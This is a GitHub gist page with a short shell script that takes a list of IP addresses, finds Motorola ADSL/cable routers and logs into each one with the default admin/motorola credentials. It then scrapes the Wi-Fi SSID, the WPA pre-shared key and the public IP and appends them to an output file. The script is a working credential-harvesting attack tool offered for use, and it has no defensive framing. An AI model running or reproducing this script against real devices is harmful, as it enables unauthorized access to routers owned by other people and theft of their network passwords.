Last active
July 30, 2018 02:20
-
-
Save pdelteil/5ff1b9a8ee30e0f6f6a76dd902d10688 to your computer and use it in GitHub Desktop.
Script para obtener datos
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# This script allows you to login into a adsl router (with default password) and retrieve | |
# WIFI SSD, password and WPS code. It uses a list of IPs. | |
FILE=$1 | |
OUTPUT=$2 | |
for IP in $(cat $FILE |grep Host |awk '{ print $2 }'); | |
do | |
RES=$( curl -s $IP|grep motorola|wc -c) | |
if [ $RES -lt 100 ] ; then | |
echo $IP, "not motorola" | |
else | |
touch $2 | |
rm headers | |
#Test Login with default credentials | |
curl -s --data "loginUsername=admin&loginPassword=motorola&submit=Login" --dump-header headers http://$IP/goform/login | |
#WIFI SSID | |
WIFI=$(curl -s http://$IP/wlanPrimaryNetwork.asp | grep "SSID"|awk '{ print $10, $11 }'|sed 's/^[^"]*"\([^"]*\)".*/\1/') | |
#WIFI PASSWORD | |
PASS=$(curl -s http://$IP/wlanPrimaryNetwork.asp |grep 'name="WpaPreSharedKey"'| awk '{ print $6, $7 }' |sed 's/^[^"]*"\([^"]*\)".*/\1/') | |
#Public IP | |
PUBIP=$(curl -s http://$IP/RgSetup.asp | grep "IP Address" |grep -v "Local"| awk '{ print $4 }' |sed 's/^[^>]*>\([^<]*\)<.*/\1/') | |
echo $IP, $PUBIP,$WIFI, $PASS |tee --append $2 | |
fi | |
done | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment